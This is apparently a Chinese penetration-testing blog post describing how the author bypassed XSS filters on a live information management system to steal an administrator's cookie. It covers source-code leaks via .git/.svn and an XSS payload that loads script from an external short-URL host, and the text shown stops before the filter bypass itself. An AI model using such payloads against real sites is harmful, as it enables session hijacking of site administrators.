xss防御方法base64_绕过某通用信息管理系统实现XSS

作者：青空酱 合天智汇

原创投稿活动：重金悬赏 | 合天原创投稿等你来

序言

实战渗透某站点时遇到的，经过几天研究最终成功绕过限制并打到管理员cookie，特此记录下备忘。将一些琐碎的trick和知识点进行了有机结合与综合实践，希望本文能对读者有所帮助，若有谬误，还请指正。

准备工作

首先看看站点，事先测过了SQL等漏洞，这里只测试XSS。

先尝试填充一些正常数据以判断是否会回显payload，经过测试，该站点提交信息会直接跳转回首页，无法查看payload解析执行情况。

注意：测试xss时往往不要一上来就怼<script>/:..等危险字符，有暴露渗透行为的风险且难以控制页面显示情况。

看不到回显难道就要盲打嘛？

这里提供一个思路：尝试获取该系统的源码并本地搭建进行测试。

好的，既然思路明确了，我们就尝试去获取该系统的源码。

1. 扫描敏感目录及文件，查看是否存在.git / .svn等代码工程文件，如果存在的话，是 可以直接通过该敏感文件还原出系统源码的。

相关工具:https://github.com/lijiejie/GitHack

Seay-svn 还原工具，大家可以自行下载

1. 从源码本身着手，寻找版权相关信息，之后去网上寻找并下载源码。

渗透该站时便使用了方法2，尝试访问后台时网页便爆出了我们想要的信息。

搜索相关源码并下载，成功在本地搭建。

好了，这样我们就可以放心测试xss了。(本地你想怎么怼都不会有风险的)，关于XSS的学习，可以到合天网安实验室学习渗透XSS漏洞原理和利用，点击“实验:渗透XSS漏洞原理和利用(合天网安实验室)”可操作学习。

好戏开演

准备好payload:

<script src="http://x.co/qwq"></script>

这里推荐一个网站缩短服务：

http://x.co

访问设置url即可